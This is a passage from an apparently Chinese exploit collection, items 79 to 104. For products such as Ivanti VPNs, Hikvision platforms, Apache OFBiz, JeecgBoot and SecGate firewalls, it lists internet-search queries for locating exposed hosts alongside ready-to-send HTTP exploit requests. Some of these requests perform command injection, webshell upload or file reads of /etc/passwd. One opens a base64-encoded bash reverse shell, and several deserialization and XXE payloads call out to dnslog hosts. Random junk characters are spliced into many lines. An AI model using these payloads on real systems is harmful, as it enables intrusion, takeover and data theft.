8 }2 W% |/ S9 ~1 xContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
* C: P: {" \( i
) ~# c) b& t4 h------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png
# y" o' H" K$ g/ G9 Z' t2 ~# s
, {1 H4 c' I# |6 \! |9 UYsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
  Z2 e& H$ I  H5 J% @9 dContent-Disposition: form-data; name="target"
  q2 u  m( {; f) [/ {
/Applications/SkillDevelopAndEHS/
. G5 [* X- {7 Q" p, {------YsOxWxSvj1KyZow1PTsh98fdu6l--
+ w. C3 v. X2 D
4 `0 B* N2 Q- z: a# o
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
$ u& I. l: S) T2 y2 k, _4 ^# iHost: x.x.x.x
* a: k5 M+ ?& C: C1 v2 P
1 M1 t, q) N( c) J& {0 B4 u4 j
79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
- s- |2 ]0 D% }/ DHost:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
8 \# B  d* X* z/ [2 O& pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
0 g0 v- d/ l2 ~( }4 l1 ^Connection: close
& D5 m  z( }$ T0 rUpgrade-Insecure-Requests: 1
6 n+ [6 _/ V. C4 r: c. u+ d3 d

( W. H& I* G/ F' I( ?# Z; K$ Q80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
4 ]) p1 B3 s8 {( x) wFOFA：app="速达软件-公司产品"
; `- g" A, y5 j9 g  D0 m) zPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
, H1 W4 u  @& Z, u) {Host: x.x.x.x
9 d+ K! ?6 m7 h4 ?User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 V+ S2 N& ]9 yContent-Length: 27
. y( w! s6 B# G4 h4 s' GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
5 g* Q( j( l4 o% h3 H. K2 D" xContent-Type: application/octet-stream
+ O5 [: r, x: `5 R) ?% j  g, QUpgrade-Insecure-Requests: 1

<% out.print("oessqeonylzaf");%>

5 a6 H7 H9 b' F. J
GET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
0 \* t, I" _: Z9 K$ K5 t! _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
% y# q7 E+ {" |) y9 mConnection: close
$ n+ `# S6 i8 v$ |. o& S- wAccept-Encoding: gzip


$ P+ h8 W% X- I& N7 h8 ~81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
2 R6 k# Y8 _' j& uFOFA：app="uniview-视频监控"
+ x. ?4 v1 D( k% ]6 L5 j- Q. a  YGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
6 y' N4 X% q" |9 }' u+ q' mHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip


82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
4 r! A; e7 Q' r' ?& e/ {FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
User-Agent: Go-http-client/1.1
: l9 p% H& C- |% K+ \Content-Length: 23
Accept-Encoding: gzip
+ w( T8 L8 Z" xConnection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL

4 H# M7 i: X; d: Y3 U# ?z1=1&z2="|id;"&z3=bhost

2 Z0 [: e6 r" W( @2 c& ?3 g
83. JeecgBoot testConnection 远程命令执行
4 r0 }/ B7 a* H* C; }' @5 n  fFOFA：title=="JeecgBoot 企业级低代码平台"
$ [/ P$ O1 J. k5 J  x( c- z& m/ I+ O
/ P" }) i7 j2 S" \0 w
  f7 c1 t& w- [4 V; T8 X. oPOST /jmreport/testConnection HTTP/1.1
9 h* C# z# d/ n/ k- [Host: x.x.x.x
" M0 d- X) W- Y+ a. P6 _. Q9 J. xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# g1 R* \& f& e. w# o/ P7 TConnection: close
& _, S7 q1 q1 u) \Content-Length: 8881
! T2 r: A/ t4 _! e9 oAccept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
  w' n- H7 \" d# c+ {Content-Type: application/json

. d/ V' ^' l* P& Z- i4 O6 C! YPAYLOAD
& U" f% x' R; V8 U) `
- g4 w& }. N4 v/ o84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"



POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
1 N3 r( \% B4 [' WHost: 192.168.40.130:8080
' B: w3 q/ ?+ f/ qUser-Agent: curl/7.88.1
* P& G" W; P8 \: x! k/ u$ j: UContent-Length: 156
Accept: */*
6 Z1 G  z& c0 j; {3 MConnection: close
0 m4 w. H$ I5 X; N# Y% g: O* cContent-Type: application/json
Accept-Encoding: gzip

{
. d. L( e8 a  M6 a$ g/ Z! I/ ]7 g "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}


( x4 l7 v. v, H' z85. SysAid On-premise< 23.3.36远程代码执行
2 W" f- c7 @6 F. y+ v: S: V/ FCVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
# `& j5 y" [! T) M6 Y  N, bPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
1 ?  U- S& N7 S% K9 T- p& YHost: x.x.x.x
- B3 R( d+ W7 |, |+ iUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! o; u8 E* h2 O; H4 X! ~, tContent-Type: application/octet-stream
Accept-Encoding: gzip
$ S! v6 e' W' Y3 Z0 @
PAYLOAD

回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
4 w- L/ t. u" G% b3 cPOST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
3 I8 p1 p5 Y9 \Connection: close
Content-Length: 44
Accept: */*
! x) B) h  \" B5 V1 }Accept-Encoding: gzip
Accept-Language: en
0 F+ A4 |+ z* \# W  o6 ~2 hContent-Type: application/x-www-form-urlencoded

0 E2 X4 G9 _3 Q  thost=%0acat${IFS}/etc/passwd%0a&command=ping

; J; ^5 s5 C& c9 i
7 L/ e, u8 q- R! f# l5 z: H; A: a87. 安恒明御安全网关aaa_local_web_preview文件上传
' Y# {5 d1 h" yFOFA：title="明御安全网关"
4 @2 s* p6 X) R1 QPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
6 D: P* ]2 {$ O' y+ PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
$ H; Q2 S4 b5 F" [# _Content-Length: 198
( ~, ]; M8 l2 n4 t" nAccept-Encoding: gzip
: m3 O1 g* [( X* q8 m/ sContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
# |( h# `4 ^2 S) E$ M
6 x: Y( j& k3 y3 L: v! m2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--

6 A2 O4 |3 L& g
$ h$ s: B! e( `- M/jfhatuwe.php

" ]: d4 {8 D3 Z/ i88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
7 s1 B. S- h  YGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
+ w" S4 o; T) mHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
- G1 N( |$ z7 k/ tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 f- M) d- p" e8 b1 r: N  cAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
" M: e& S' S+ p4 j+ a2 K
3 b/ h+ P" C/ L) H  y
7 C; a& c5 s: R: k( q& F: V/ {/astdfkhl.php

+ h; C  p9 m  M5 m8 Q6 u, J' u89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
4 `, j# |: [6 T" e# dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
$ s' \+ G: B, [6 gAccept-Encoding: gzip

: {; {. h$ X  @; Toption=2&GUID=-1'+union+select+111*222--+

& b+ s: k: J7 o2 W' e  v
1 m5 _' A, S. C7 s& X90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
5 r: @7 t: X% K- H" i4 Q5 SPOST /php/ping.php HTTP/1.1
+ `1 V& `) ?5 E9 o5 i" Y2 k' KHost: x.x.x.x
: Y& s/ Y' H, d6 m, a* ?* I8 X( gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
* ?  j" f3 T& u8 Q5 J" [Content-Length: 51
; S8 h& Q; U) T! vAccept: application/json, text/javascript, */*; q=0.01
3 X) N# T# n2 U# G/ x) uAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 M* z3 X# s7 ^+ k5 p  `% x- s7 GConnection: close
  [& z( x4 h$ s& g7 M( tContent-Type: application/x-www-form-urlencoded
# N0 b% i8 z' e4 r5 R" zX-Requested-With: XMLHttpRequest

jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
% W( x; \9 j4 H. U: u
; k4 _; W# c6 I5 h$ K1 S. g
' s( S% \0 y7 q  ^91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
) u" q! m0 t. C3 W, pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
$ n2 j; E3 W) u1 [8 a$ p/ n: b7 fAccept: */*
7 D; H( J2 t, E) wConnection: keep-alive

1 e) S  w& G9 T" p% f

5 ^* ?! r9 b9 k) U4 j$ G5 {! F92. 海康威视运行管理中心session命令执行
Fastjson命令执行
+ Z) P; ^; Q1 P6 s! s4 whunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
2 X  W9 Y4 z. d( F2 NPOST /center/api/session HTTP/1.1
Host:
$ C  v) V9 ?' XAccept: application/json, text/plain, */*
7 `" B, Q* s. `% Q4 YAccept-Encoding: gzip, deflate
* t# S+ s+ n9 u+ j+ @X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
Testcmd: echo test
& g9 f1 {5 Q3 z0 A5 e; GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
0 U6 A9 z" R- Y7 ^0 L: V
% A* ^- s! G) ~6 QPAYLOAD


3 c7 G# w  |+ g# q2 _$ K( B- Y93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
- q, F$ z' r# c3 ^! z% XUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

3 L3 ?4 E, F7 w------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundarykcbkgdfx
+ s( }  y8 u4 H/ Z" _Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
' [/ s9 E5 o) J8 X: ~" WContent-Type: text/plain

wagletqrkwrddkthtulxsqrphulnknxa
$ `. D) N# u1 g) o- I8 M------WebKitFormBoundarykcbkgdfx
/ O5 M0 S+ r( k1 E8 G8 UContent-Disposition: form-data; name="submit_post"

obj_app_upfile
" |/ n+ r- w1 O3 R, ~------WebKitFormBoundarykcbkgdfx
' d; D6 I# h' S3 C! zContent-Disposition: form-data; name="__hash__"
( c0 `0 e& Y2 A$ p0 ?4 u' v
3 {, D  x; n5 Q7 G! F0b9d6b1ab7479ab69d9f71b05e0e9445
3 x$ x+ q. H. X* l. F0 }------WebKitFormBoundarykcbkgdfx--


GET /attachements/xlskxknxa.txt HTTP/1.1
, S/ ^" G3 _$ u' FHost: xx.xx.xx.xx
+ ~9 ~+ C' a( a, T* nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

  r( u: |* |) Z  _. u
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
) A" `' ~* r+ m& A& e4 d7 APOST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
. ^/ h  O! d( h! _9 y) u7 p+ o, PContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
0 o5 `  P4 W1 K6 p, U- v( c
2 i' c" h6 N* H9 s4 k0 ?------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"
% R) |( D7 \( W3 u: z& x
% r; Z" x" q/ J8 T% ~1 a+ h10000000
6 b, l! a  G9 N9 I9 J* Z3 ^------WebKitFormBoundarybqvzqvmt
9 u% d8 L1 O# g: e1 t# FContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
  U1 J% c0 R9 y: M0 A. B6 M6 QContent-Type: text/plain
, @7 P4 q0 j. W
pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"

/ r- _! N9 ?* \# d' o* Wobj_app_upfile
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
$ ]  Y8 ^$ S3 ^; g' S7 s4 h# y------WebKitFormBoundarybqvzqvmt--
7 N* M' B9 Z- b+ T: z) V! o

- |# t# ~6 N; x9 v
GET /attachements/xlskxknxa.txt HTTP/1.1
; P8 A; L) Y* X& k! S- {" `/ eHost: xx.xx.xx.xx
* N  u2 V( L, _  t% b9 vUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


7 N9 p9 y' D# j8 _8 o( @
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
/ t& B8 w8 J: D1 @3 r) PPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
+ Z3 p* l4 p! m  v& n3 d) M7 AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
# `) G/ \# D* E6 U9 X, `Connection: close
+ O+ ]- `: s- L1 e* [Content-Length: 889
6 ^) q+ l% `; H, z* k" T" RContent-Type: application/xml
Accept-Encoding: gzip

& n# k6 `, X2 ^4 U- A+ M<?xml version="1.0"?>
<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
5 s+ \) u0 w/ V' R' K    <params>
      <param>
. J9 |9 y+ i8 r* L      <value>
9 |. F6 ]5 L6 O. w1 a) N. c+ s        <struct>
       <member>
          <name>test</name>
3 u& f6 b. l: N4 d, U- g( |$ A9 ?          <value>
" ]+ x9 q2 c: b7 P      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
# t" S7 i7 H: d6 `7 |: x9 g        </member>
      </struct>
. k8 _: I' ?4 H9 D9 Y. B) F      </value>
; c3 G0 k  L8 _    </param>
: g6 L) d( `! g6 ]" J    </params>
</methodCall>
" S& y: r; b4 d, G) ]8 J9 R" J

用ysoserial生成payload
, ]; o# q6 J  s  \, e% c) N6 l  s- cjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"


# T1 Z, J/ l+ ^2 y/ g! ?将生成的payload替换到上面的POC
: z' c. C; w* ]0 ^POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
' S: @( x! C' g$ H( s2 x/ V; j$ {% AConnection: close
: _) q6 P3 b7 c8 c6 r. BContent-Length: 889
, e2 }: L3 r8 n& J7 q5 F. |3 qContent-Type: application/xml
1 L# V. L! B$ l& Y* f, NAccept-Encoding: gzip

. \% c+ J3 ~8 v/ G5 hPAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
$ U# q0 S0 u0 h' o. ?5 I8 HFOFA：app="Apache_OFBiz"
' `5 U* h1 {6 r6 uPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
  r- }/ t/ F; U9 P) H0 G9 _4 SHost: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

" k* Q$ H3 C; a6 B* r7 d! ?8 sgroovyProgram=throw+new+Exception('id'.execute().text);
* m" y$ f' Z0 o$ [: j- V

* l2 o0 b' c" e  l反弹shell
* c0 V0 y/ R# H8 {4 ^/ d  y在kali上启动一个监听
nc -lvp 7777
, p  J) a- `0 R
: \" q* k9 ~+ M! OPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
& `& l4 Z' G  g* }* Z, x3 q+ uHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
% Y7 Q* A/ v$ l; ~Accept: */*
! v7 C& N8 q) E* ]4 v9 n+ f) S: b! _Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; f. |* N- O- yContent-Type: application/x-www-form-urlencoded
Content-Length: 71
# O3 [3 j) a4 Z* y9 J
groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
: g, G) j! N" o( zFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
2 r3 R* U$ l* m9 p& c# _9 x2 WGET /passport/login/ HTTP/1.1
) F  H0 N& g( k8 s* b+ k. b% lHost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 l% |6 m% W. D) Z( z% e2 tAccept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


( q! A" A& ^2 s98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
/ G4 J/ G$ S, ^& M9 y' [FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
. y. n" a+ C7 v( e# [4 xHost: 192.168.40.130:8088
" A: p- t6 H. k+ {% @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! X' L4 M* `/ |5 k4 g0 g: S6 M  pContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
+ X+ N6 v; o2 H+ ^1 C" B4 R
id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B

8 [4 q) s' @2 K# n" _' C* z
; s' W0 |* h/ j5 t; ~99. Ncast盈可视高清智能录播系统busiFacade RCE
9 q: z! M" U) C( |7 u/ c% qCVE-2024-0305
9 Y+ \  V( S, l4 rFOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
4 H  f- P! e8 A* n( yHost: 192.168.40.130:8080
- p' p- {) s2 E" I% D; c6 YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
Accept: */*
: U5 w. h% @0 M' ^Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 z$ C% c, g; I) k8 oContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
) [; C; o- q8 _0 T* U2 d
9 y  k8 c3 X9 y' ?%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
+ P4 c0 X9 R+ L7 Z

. y; ~1 U' x& {0 x. }7 {1 @100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
$ u$ `) K. D8 |/ N3 @CVE-2024-0352
) S) `- B& A5 e  ?FOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
/ H4 G+ e3 `9 q. I. s, KUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
3 j* J6 ^5 U6 \( q# s% `4 GContent-Length: 201
; E! j+ O* `9 Z6 u$ MContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip
' @, _) ^1 v; L- y8 l/ i; Q
3 m( Z8 T. H+ `3 ^; h7 U; C# K------WebKitFormBoundarygcflwtei
4 ~7 D" d. d, ~* Y& K* ?Content-Disposition: form-data; name="file";filename="IE4MGP.php"
# N: Y/ _" |( E, l4 z6 t. k* ?- V+ m3 UContent-Type: application/x-php
' ^: B7 h$ \) R3 C
6 F! N% p, X: N2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--
/ M3 L' }2 u3 d" r  r" L

2 `# q! i6 J; J2 p, ?  D+ N* c101. ivanti policy secure-22.6命令注入
% P3 n! f7 N" n# h( {CVE-2024-21887
. {  J4 |# d! h" ZFOFA：body="welcome.cgi?p=logo"
/ ]) m! c% n. jGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
/ y1 W6 o. U$ I' y& Z* LUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
; V0 o4 ?0 B. s8 q: X2 o, T: G) zConnection: close
# w* n( V% P3 C  C- W4 r! ~Accept-Encoding: gzip
) B( G5 U& f2 \1 }- V3 E4 N5 E! ]+ X
' T7 M5 R" d! y
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
$ g1 G0 K% R! O% U1 ^FOFA：body="welcome.cgi?p=logo"
3 r# E5 q2 t7 |" vPOST /dana-ws/saml20.ws HTTP/1.1
) p# b* w; H  v; z, oHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
  s' W. h8 a+ ~, F$ PAccept-Encoding: gzip

<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
8 X9 J7 u! q3 q2 ~% ]- YFOFA：body="welcome.cgi?p=logo"
; e+ {# V. G5 @1 Z1 }  jPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
  W+ M' x$ q# _  p! s; cHost: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

( h& O' d+ @9 t( v- `SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
- d3 e5 {: x5 n$ D. v  I# Q+ y

- y" a* Y( r  V5 b" p其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
$ \  s4 {) k3 M8 }9 B% Y<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
/ a+ {$ Y5 c+ H# e* U
, _6 w& W! k. M4 d5 `) T7 w! g
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
% O& g7 D; U: j6 R% d! vCVE-2024-0569
FOFA：title="TOTOLINK"
